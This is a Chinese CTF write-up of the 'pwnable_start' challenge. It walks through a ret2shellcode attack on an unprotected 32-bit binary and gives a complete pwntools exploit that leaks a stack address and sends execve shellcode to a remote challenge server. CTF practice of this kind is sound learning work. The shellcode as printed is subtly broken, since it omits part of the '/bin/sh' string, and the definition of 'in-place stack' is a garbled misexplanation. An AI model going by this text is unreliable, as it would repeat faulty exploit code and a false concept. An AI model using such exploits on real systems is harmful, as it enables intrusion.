pwnable_start(write up)

文章讲述了如何分析一个没有保护措施的32位程序,通过ida查看系统调用并利用write和read函数。利用内平栈的概念,找到了栈的长度,并计划实施ret2shellcode攻击。通过发送特定payload泄露栈地址,然后构建shellcode执行系统调用来获取控制权。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

pwnable_start

照例先checksec一下

请添加图片描述

一个啥保护都没开的32位程序 放进ida里瞅瞅

无法反编译 所幸程序比较短也比较简单 还在理解范围内
请添加图片描述

此处使用了int 80系统调用 查表可知3和4分别是read函数和write函数

因此可以翻译成:

write(1,0x14)
read(0x3C)

通过add esp,14h可知esp距离ret地址0x14字节(即栈长度为0x14)

此处使用内平栈

  • 内平栈(In—Place Stack)是一种特殊的栈,可以在一个给定的数组中存储元素,并可以支持压栈和弹栈操作,且不需要额外的内存空间。

考虑使用ret2shellcode

请添加图片描述

exp:

from pwn import *
io=remote('node4.buuoj.cn',27655)
write_addr=0x8048087
payload = 'a'*0x14 + p32(write_addr)#write_addr指的是start函数中write系统调用的地址
io.sendlineafter("Let's start the CTF:",payload)
stack_addr = u32(io.recv(4))#通过gdb调试可知 此时esp里的值是栈上0x8048087地址里的内容,这样就把栈上的地址给泄露了出来。

shellcode = asm('xor ecx,ecx;xor edx,edx;push edx;push 0x69622f2f;mov ebx,esp;mov al,0xb;int 0x80')


payload = 'A'*0x14 + p32(stack_addr+0x14)+shellcode
io.send(payload)

io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值